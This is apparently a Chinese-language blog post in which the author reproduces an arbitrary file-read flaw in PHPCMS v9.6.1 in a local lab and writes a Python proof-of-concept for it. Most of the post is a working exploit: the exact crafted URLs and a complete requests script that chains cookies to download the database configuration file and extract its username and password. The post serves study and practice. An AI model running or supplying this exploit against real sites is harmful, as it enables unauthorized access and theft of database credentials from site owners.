深感自己太菜,之前一直说要自己开始写POC跟EXP,但是因为拖延一直没有进行下去,这次开始,定个第一阶段的目标,复现十个漏洞,并编写对应的POC跟EXP,这是第一个

漏洞介绍

由于漏洞出现在PHPCMS V9.6.1里面代码里面(9.6.0以及之前的版本不存在),所以官方在修复了前面两个高危后再出了V9.6.1,但在修复后检验变量出现问题,导致可以读取系统任意文件

环境搭建

使用phpstudy 下载PHPCMS v9.6.1 UTF8 然后直接进行搭建即可,成功后访问

漏洞复现

在我们编写POC之前最重要的是需要了解漏洞触发的流程,只有清楚的了解了漏洞的所有流程后,才能完成整个POC的编写,所以我们在编写这个POC之前先复现一下漏洞,理清漏洞的流程

首先我们访问如下链接,获取网站的的QorUa_siteid,现在先把这个cookie保存下载,在下一步当中将会使用到

1
http://192.168.60.94/phpcms9.6.1/install_package/index.php?m=wap&c=index&siteid=1

然后访问如下链接并在post请求中填写上刚才保存的cookie,要注意的是在刚才保存的cookie前面是需要加上userid_flash=

1
2
3
http://192.168.60.94/phpcms9.6.1/install_package/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src= %26id%3D1%26m%3D1%26f%3Dcaches/configs/database.ph%253C%26modelid%3D1%26catid%3D1%26s%3D%26i%3D1%26d%3D1%26

post:userid_flash=cookie

然后看返回包的内容,可以看到QorUa_att_json,把QorUa_att_json的内容保存下来

然后把保存下来的QorUa_att_json内容拼接到如下链接的等号后,进行访问

1
2
3
http://192.168.60.94/phpcms9.6.1/install_package/index.php?m=content&c=down&a_k=

http://192.168.60.94/phpcms9.6.1/install_package/index.php?m=content&c=down&a_k=92bfV7057Rx-3Ako6my8c92wY51_leEoIdwNOlNf6W5zQ2Jiobf8w2ldtZR7hpZidiNCQGJkFSP1eQe8W8H7yMFVE8juxYOGjSyj0FKahwHgbVEypx4_UtVUuvwQsa9n_n0FSaGvPVtEqgBgHmQnU1lnfVZD_hX0bSZcOF6p08YkXtVitK4

我们可以看到出现了一个点击下载的按钮,直接下载就可下载数据库的配置文件得到了用户名跟密码

至此我们对phpcms9.6.1漏洞进行了复现,也梳理了漏洞触发的整个过程,接下来我们就来尝试编写它的POC

编写POC

第一步,模拟请求来获取cookie

第一第二行引入requests库跟re正则表达式库

第三行网站url定义为一个名为url的变量,这里不用把请求链接全部定义,因为这样方便我们之后直接拼接指定的链接进行请求

第四行定义了一个名为step1的变量,并使用格式化字符串函数format()把我们需要请求的

1
2
3
4
5
6
7
8
9
10
11
12
13
14

第五行通过requests进行对拼接号的url请求,并使用.cookies获取其cookie,赋值给变量resl_cookies,这里获取的就是QorUa_siteid值,可以使用迭代来获取其中的内容,可以分别获取其中的.name ,.value

```python

获取其cookie值
import requests
import re
url = 'http://192.168.60.94/phpcms9.6.1/install_package'
step1 = '{}/index.php?m=wap&c=index&siteid=1'.format(url)
resl_cookies = requests.get(step1).cookies
print(resl_cookies)
for resl_cookie in resl_cookies:
print(resl_cookie.name,resl_cookie.value)

现在我们获取到了QorUa_siteid值,现在就需要对这个cookie进行拼接,但在此之前我们需要对个cookie是否真的存在做一下判断,这里判断_siteid,因为其是固定的,我们刚才已经知道通过cookie.name是可以获取QorUa_siteid这段内容的

可以看到现在我们已经拼接出cookie 了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

#请求url,获取其cookie值
import requests
import re
cookies={}
url = 'http://192.168.60.94/phpcms9.6.1/install_package'
step1 = '{}/index.php?m=wap&c=index&siteid=1'.format(url)
resl_cookies = requests.get(step1).cookies
print(resl_cookies)
for resl_cookie in resl_cookies:
print(resl_cookie.name,resl_cookie.value)
if resl_cookie.name[-7:] == '_siteid':
cookies_head = resl_cookie.name[:6]
cookies[cookies_head+'_siteid'] = resl_cookie.value
cookies[resl_cookie.name] =resl_cookie.value
print(cookies)

接下来,继续使用requests进去请求以获取当前cookie

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import re
url = 'http://192.168.60.94/phpcms9.6.1/install_package'
step1 = '{}/index.php?m=wap&c=index&siteid=1'.format(url)
resl_cookies = requests.get(step1).cookies
print(resl_cookies)
cookies = {}
payload = 'index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id%3D1%26m%3D1%26f%3Dcaches/configs/database.ph%253C%26modelid%3D1%26catid%3D1%26s%3D%26i%3D1%26d%3D1%26'
for resl_cookie in resl_cookies:
#print(resl_cookie.name, resl_cookie.value)
if resl_cookie.name[-7:] == '_siteid':
cookies_head = resl_cookie.name[:6]
cookies[cookies_head + '_userid'] = resl_cookie.value
cookies[resl_cookie.name] = resl_cookie.value
print(cookies)
step2 = '{}/{}'.format(url, payload)
print(step2)
res2_cookies = requests.get(step2, cookies=cookies).cookies
print(res2_cookies)

经过之前的复现我们知道,这里需要把_att_json值取出来,我们这里定义一个字符串存储它,并把它打印出来

现在我们已经把_att_json的值提取出来了,依旧按照之上的步骤判断_att_json是否存在,把值赋值给名为enc_payload的变量,然后把url跟这个值进行一个拼接并赋值给变量step3,最后通过requests访问下载链接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

import requests
import re
url = 'http://192.168.60.94/phpcms9.6.1/install_package'
step1 = '{}/index.php?m=wap&c=index&siteid=1'.format(url)
resl_cookies = requests.get(step1).cookies
print(resl_cookies)
cookies = {}
payload = 'index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id%3D1%26m%3D1%26f%3Dcaches/configs/database.ph%253C%26modelid%3D1%26catid%3D1%26s%3D%26i%3D1%26d%3D1%26'
for resl_cookie in resl_cookies:
#print(resl_cookie.name, resl_cookie.value)
if resl_cookie.name[-7:] == '_siteid':
cookies_head = resl_cookie.name[:6]
cookies[cookies_head + '_userid'] = resl_cookie.value
cookies[resl_cookie.name] = resl_cookie.value
print(cookies)
step2 = '{}/{}'.format(url, payload)
print(step2)
res2_cookies = requests.get(step2, cookies=cookies).cookies
print(res2_cookies)
for res2_cookie in res2_cookies:
if res2_cookie.name[-9:] == '_att_json':
enc_payload = res2_cookie.value
print(enc_payload)
step3 = '{}/index.php?m=content&c=down&a_k={}'.format(url, enc_payload)
print(step3)
step4 = requests.get(step3).text
print(step4)

11

可以看到我们已经进入了下载频道,然而要下载数据库的配置文件需要对点击下载做请求,我们发现下载的链接存储在href标签中,这里我们用正则表达式把href标签给匹配出来,在匹配出来后再跟url做拼接,最后通过requests去进行请求,就能看到数据库的配置信息了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

import requests
import re
url = 'http://192.168.60.94/phpcms9.6.1/install_package'
step1 = '{}/index.php?m=wap&c=index&siteid=1'.format(url)
resl_cookies = requests.get(step1).cookies
#print(resl_cookies)
cookies = {}
payload = 'index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id%3D1%26m%3D1%26f%3Dcaches/configs/database.ph%253C%26modelid%3D1%26catid%3D1%26s%3D%26i%3D1%26d%3D1%26'
for resl_cookie in resl_cookies:
#print(resl_cookie.name, resl_cookie.value)
if resl_cookie.name[-7:] == '_siteid':
cookies_head = resl_cookie.name[:6]
cookies[cookies_head + '_userid'] = resl_cookie.value
cookies[resl_cookie.name] = resl_cookie.value
print(cookies)
step2 = '{}/{}'.format(url, payload)
print(step2)
res2_cookies = requests.get(step2, cookies=cookies).cookies
print(res2_cookies)
for res2_cookie in res2_cookies:
if res2_cookie.name[-9:] == '_att_json':
enc_payload = res2_cookie.value
print(enc_payload)
step3 = '{}/index.php?m=content&c=down&a_k={}'.format(url, enc_payload)
print(step3)
step4 = requests.get(step3).text
print(step4)
html = re.findall(r'<a href="(.*?)"', step4)
url1 = url + '/index.php' + str(html[0])
print(url1)
html1 = requests.get(url1, cookies=cookies).text
print(html1)

未了方便,我们可以用re.findall把用户名跟密码直接匹配出来

在命令行下运行试试

最后附上完整的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

import requests
import re
url = 'http://192.168.60.94/phpcms9.6.1/install_package'
step1 = '{}/index.php?m=wap&c=index&siteid=1'.format(url)
resl_cookies = requests.get(step1).cookies
print(resl_cookies)
cookies = {}
payload = 'index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id%3D1%26m%3D1%26f%3Dcaches/configs/database.ph%253C%26modelid%3D1%26catid%3D1%26s%3D%26i%3D1%26d%3D1%26'
for resl_cookie in resl_cookies:
#print(resl_cookie.name, resl_cookie.value)
if resl_cookie.name[-7:] == '_siteid':
cookies_head = resl_cookie.name[:6]
cookies[cookies_head + '_userid'] = resl_cookie.value
cookies[resl_cookie.name] = resl_cookie.value
print(cookies)
step2 = '{}/{}'.format(url, payload)
print(step2)
res2_cookies = requests.get(step2, cookies=cookies).cookies
print(res2_cookies)
for res2_cookie in res2_cookies:
if res2_cookie.name[-9:] == "_att_json":
enc_payload = res2_cookie.value
print(enc_payload)
step3 = '{}/index.php?m=content&c=down&a_k={}'.format(url, enc_payload)
print(step3)
step4 = requests.get(step3).text
print(step4)
html = re.findall(r'<a href="(.*?)"', step4)
url1 = url + '/index.php' + str(html[0])
print(url1)
html1 = requests.get(url1, cookies=cookies).text
print(html1)
username = re.findall(r"'username' => '(.*?)'", html1)
password = re.findall(r"'password' => '(.*?)'", html1)
print(username, password)

抄抄改改,第一个算是出来了,虽然依旧很多都不懂,还是自己没有多练习的原因,要多看POC多复现,多写,菜鸡也要不断努力